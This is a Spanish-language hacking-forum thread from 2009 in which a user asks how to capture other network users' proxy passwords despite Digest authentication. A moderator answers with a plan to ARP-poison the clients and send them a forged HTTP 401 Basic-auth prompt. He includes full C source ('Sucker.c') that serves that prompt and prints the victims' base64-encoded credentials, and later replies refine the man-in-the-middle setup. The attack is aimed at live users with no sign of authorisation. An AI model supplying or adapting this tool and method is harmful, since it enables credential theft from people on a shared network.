elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 16:37  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderadores: zhyzura, kamsky, TRICKY)
| | | |-+  Sniffear Proxy Authentication Data!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sniffear Proxy Authentication Data!!  (Leído 1,648 veces)
Hole_System

Desconectado Desconectado

Mensajes: 239


Ver Perfil
Sniffear Proxy Authentication Data!!
« en: 21 Julio 2009, 03:25 »

Holas chicos, ya he posteado varias veces sobre el tema, quisiera refrescar un poco quizas alla salido algo nuevo...

Les explico el escenario...

Proxy: 192.168.0.6       UBUNTU - SQUID

Ip Atacante: 192.168.0.25      Windows 2000

Router: 192.168.0.3

Tengo el CAIN instalado y tirandole al proxy logro capturar todos los datos el problema reside en que tienen instalado el tipo de autentificacion DIGEST o sea todo sale codificado.

Quisiera saber que puedo inventar para decodificar o capturar los datos en texto plano.

Averno planteo una posible solucion:

La idea consistia en montar un "Proxy Local" y que lo configurara por el mismo puerto que el "Proxy Real" y con el tipo de autentificacion "BASIC" ya que como los datos circulan a traves de mi tarjeta de red, era probable que cuando algun usuario hiciera alguna peticion WEB esta pasara por el proxy local con autentificacion basic y capturar los datos.

Esto no funciona ni si quiera el proxy detecta alguna actividad.

Preguntas que hago:

- Algun programa que no sea muy grande instalar y configurarlo para que cuando detecte el tipo de autentificacion "on the fly" cambiandola por basica y se la haga llegar al usuario para asi poder capturar los datos en cuanto los responda.

- Alguna manera de obligar a los usuarios que se autentifiquen en mi proxy local.

GRacias cualquier respuesta o observacion!!

« Última modificación: 22 Julio 2009, 02:57 por Hole_System » En línea

By Pitoniso.
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Sniffear Proxy Authentication Data!!
« Respuesta #1 en: 21 Julio 2009, 03:41 »

Que tal.

REALM?? Imagino que querras decir Digest.. EL realm es otra cosa, es la "identificacion" de la zona protegida digamos.

Aun estas con esto???! Despues de cuantos meses??

Te codee algo que difiere de la solucion que dices que te di, y te lo mande por privado.
Aqui te pego al p.m que te mande entonces con la "aplicacion" codeada para que la usases..

Enviado a: Hole_System  en: 28 Septiembre 2008, 03:20

 Que tal.

 Bueno, el caso es que no se si entendistes lo que te dije, pero era facil de entender creo.
 La cuestion esta en capturar la Requesta de un Cliente para conectarse con el Proxy Squid y Autenticarse mediante
 ARP Poisoning. Tras ello, mandarle tu la respuesta, sin proxear tu la comunicacion como te dije en un principio, sorry.
 Asi, una vez conectado a ti el Cliente, le mandas cabeceras propias de Basic Auth, y si el cliente es incauto pondra el
 user y el pass en el Box que le saldra en su navegador. Ese user y pass los obtendrias tu igualmente sniffandolos o
 con la aplicacion de MiTM.
 
 Aqui te dejo algo que te acabo de programar. Es la aplicacion MitM que se encargaria de mostrar por pantalla lo que el
 Cliente ponga tras mandarle nosotros la Autenticacion Basic falsa. Solo tienes un inconveniente: lo he programado bajo
 Linux y por consiguiente son sockets en Linux. Para "guindous" tendrias que arreglartelas tu..
 He de mencionar que jamas he elaborado este ataque en un escenario real; asi que todo lo expreso desde mis
 conocimientos. La aplicacion que te he pregramado es lame, pero deberia de funcionar si logras que el Cliente se
 conecte a ti antes que al Squid ( - ARP Poisoning - ).
 Una vez el Cliente se conecte a ti, mi programa mandaria la info HTTP 401 de Basic Auth, y mostraria el input del
 Cliente por consola mas el Hash en Base64 de su user y pass; pero como te digo lo he programado bajo Linux..
 SIn mas, aqui va este lame code bajo Linux ( recuerda ):

 
Citar
/* Sucker.c   by averno */

// El programa escucha en el puerto indicado en el primer argumento ( argv[1] )
// y manda unas cabeceras HTTP arbitrarias basadas en el esquema de Autenticacion tipo Basic.
// El Cliente remoto a sniffar el user y pass de la conexion Auth DEBE de conectarse a nosotros
// y no al Servidor legitimo. Para ello, usariamos tecnicas basadas en ARP Poisoning.
// Una vez el Cliente conecta con nosotros, el programa le manda las cabeceras arbitrarias y muestra por
// consola el Hash en Base64 introducido por el propio Cliente.
// Tras obtener el Hash presionamos Ctrl-C y terminamos el socket.
// tras ello, parariamos el ataque ARP Poisoning para que la proxima vez que el Cliente intente conectar con
// El Server legitimo lo pueda hacer sin problemas, creyendo que lo anterior fue solo un error.
// Para decodear el user/pass en Base64 hay mil paginas en GooGle.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>


int main(int argc, char *argv[])
{

   struct sockaddr_in server;
   struct sockaddr_in client;

   int on = 1;
   int sin_size;
   int fd, fc, readbytes;
   char buf[512], buf2[512];

   if (argc != 2) {
     fprintf(stderr, "[$] Uso: %s <port>\n\n", argv[0]);
     exit(0);
   }

   sprintf(buf2, "HTTP/1.0 401 UNAUTHORIZED\nServer: HTTPd/1.0\nDate: Sun, 28 Sep 2008 01:39:15 GMT\nWWW-Authenticate: Basic realm=\"Secure Area\"\nContent-Type: text/html\nContent-Length: 311\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd\">\n<HTML>\n<HEAD>\n<TITLE>Error</TITLE>\n<META-HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=ISO-8859-1\">\n</HEAD>\n<BODY><H1>401 Unauthorised.</H1></BODY>\n</HTML>\n\n");

   if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
     fprintf(stderr, "[$] No se pudo crear Socket: %s\n", strerror(errno));
     exit(-1);
   }

   if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) == -1) {
     perror("setsockopt()");
     exit(-1);
   }

   memset(&server, 0, sizeof(server));
   server.sin_family = AF_INET;
   server.sin_port = htons(atoi(argv[1]));
   server.sin_addr.s_addr = INADDR_ANY;

   if (bind(fd, (struct sockaddr *)&server, sizeof(server)) == -1) {
     perror("bind()");
     exit(-1);
   }

   if (listen(fd, 3) == -1) {
     perror("listen()");
     exit(-1);
   }

   sin_size = sizeof(struct sockaddr_in);

   for (;;) {
      if ((fc = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1) {
        perror("accept()");
        exit(-1);
      }

      printf("EL Host %s se acaba de conectar desde puerto remoto %i\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port));

      if (fork() == 0) {
        close(fd);

        while ((readbytes = read(fc, buf, 512-1)) != -1) {
             buf[readbytes] = '\0';
             write(1, buf, readbytes);
             break;
        }

        if (write(fc, buf2, strlen(buf2)) == -1) {
          perror("write()");
          exit(-1);
        }

      /*  bzero(buf, sizeof(buf)); */

        while ((readbytes = read(fc, buf, 512-1)) != -1) {
             buf[readbytes] = '\0';
             write(1, buf, readbytes);
             break;
        }

        close(fc);
        exit(0);
      }

      else {
          close(fc);
      }
   }

   return 0;

}

/* EOF */

 Bueno, pues ahi esta.

 Saludos: averno.
« Última modificación: 21 Julio 2009, 03:50 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Hole_System

Desconectado Desconectado

Mensajes: 239


Ver Perfil
Re: Sniffear Proxy Authentication Data!!
« Respuesta #2 en: 22 Julio 2009, 02:48 »

Averno q tal man, te cuento que si me llego tu P.M y te respondi planteandote varias dudas y bueno no me respondistes por alguna razon, quizas no te llego o algo...

1 - Digamos que estoy haciendo el ARP-POISON al SQUID y logro ver como 2 usuarios de la red estan navegando entonces, yo no se nada de Linux pero si se un poco de Visual Basic y logro trabajar mas o menos con el Socket Master, la parte que no entiendo es que una ves que pongo mi aplicacion escuchando en el puerto 3128 y con el ARP POISON ya funcionando debo enviar una autentificacion BASIC a cualquiera de los 2 usuarios que esta navegando, si es asi pls dimelo...ya tengo al aplicacion tipo proxy en visual basic funcionando, gracias cualquier respuesta.
« Última modificación: 25 Julio 2009, 03:31 por Hole_System » En línea

By Pitoniso.
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Sniffear Proxy Authentication Data!!
« Respuesta #3 en: 22 Julio 2009, 20:45 »


Que tal.

No e repondi para que tu le ehcaras ingenio..

A ver, este programa y ARP Poisoning no creo que te resuelvan TODA la papeleta.
Es decir, tu haras que en capa 2 ( tramas ) el Target, en vez de "conectarse" al Proxy se "conecte" a ti. Es decir, como Ethernet trabaja en capa 2 pues es lo que hay cuando envenenamos las caches ARP con trafico IP.

Ahora, a la hora de establecerse el socket ( IP:port Target -- IP:Port Proxy ) la pila tcp/ip, a la hora del connect() no concordaria en un principio tu IP con la que lleva el packete tcp/ip desde el Target.

Es por ello que bien o:
te cambias tambien la IP con sus consecuencias en una Red local

o intentas hacer un ataque elaborado MiTm.. siempre usando el programa que te di como base.

Tengo que irme pero espero que todo te salga de una vez bien.

Saludos.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Hole_System

Desconectado Desconectado

Mensajes: 239


Ver Perfil
Re: Sniffear Proxy Authentication Data!!
« Respuesta #4 en: 23 Julio 2009, 05:14 »

Averno man dejame seguir aclarandome en que se diferencia tu CODE, si lo que hace hasta donde entiendo es ponerse en la escucha para que la victima se conecte a mi. Cuando tu dices que el cliente remoto "sniffea el user y pass" quieres decir que le sale el cuadro de autentificacion que le he mandando arbitrariamente como decis en el texto de abajo.

Yo no domino nada de Linux, asi que pls ayudame a buscar otras posibilidades y aun mas explicame la diferencia de tu CODE del proxy que tengo en Visual Basic.


// El programa escucha en el puerto indicado en el primer argumento ( argv[1] )
// y manda unas cabeceras HTTP arbitrarias basadas en el esquema de Autenticacion tipo Basic.
// El Cliente remoto al sniffar el user y pass de la conexion Auth DEBE de conectarse a nosotros
// y no al Servidor legitimo. Para ello, usariamos tecnicas basadas en ARP Poisoning.


Salu2 y Gracias
En línea

By Pitoniso.
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Sniffear Proxy Authentication Data!!
« Respuesta #5 en: 23 Julio 2009, 17:07 »


Que tal.

A ver, es que quizas me explique mal. Por supuesto, el sniffer lo deberias de estar corriendo tu y no la victima.
Ella se conectaria a ti, y para que ;la conexion ( connect() ) ocurra a nivel tcp/ip, deberias de cumplir los requisitos de
las cabeceras tcp/ip que provengan en los packetes mandados desde la victima al proxy. Esto es:
- misma IP
- mismo puerto

ya que un socket es eso mismo, un puerto y una IP en resumen que actuan escuchando o mandando data.

Que se "conecte" a ti via Ethernet, capa 2 o link layer, esta hecho con el ARP Poisoning.

Si tuvieras distinta IP ( el puerto a la escucha no es gran problema ) que la del Proxy, al haber iniciado la comunicacion la victima, sobre ip, y suponiendo que tenga en su navegador preconfigurada la info ( Proxy nivel 7 ) para conectarse con el proxy de antemano con la IP hardcodeada ( xjm: 192.168.1.254 ), no entraria en juego ni el archivos HOSTS ni DNS, asi que la solucion seria a grosso modo cambiarte la IP. Si no la cambiaras ante este contexto, y no tuvieras IP Forwarding activado correctamente, haciendo ARP Poisoning las conexiones no se darian ni conetigo ni con el proxy desde la victima y proxy envenenados, por lo que todo resultaria kaotiko.

Asi pues, cumplidos los requisitos, ya podrias intentar portar mi programa a Sockets en VB o Visual C++.
Yo, por ahora, no me siento animado para programar winsocks. Intentalo tu.

Saludos.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Hole_System

Desconectado Desconectado

Mensajes: 239


Ver Perfil
Re: Sniffear Proxy Authentication Data!!
« Respuesta #6 en: 25 Julio 2009, 03:35 »

 :o :o :o :o :o :o :o :o

No entendi al final que me querres decir....

Me llevo lo que me has dicho para la casa a meterle coco haber si descifro tu mensaje..

Jajajajajaja

Salu2
En línea

By Pitoniso.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines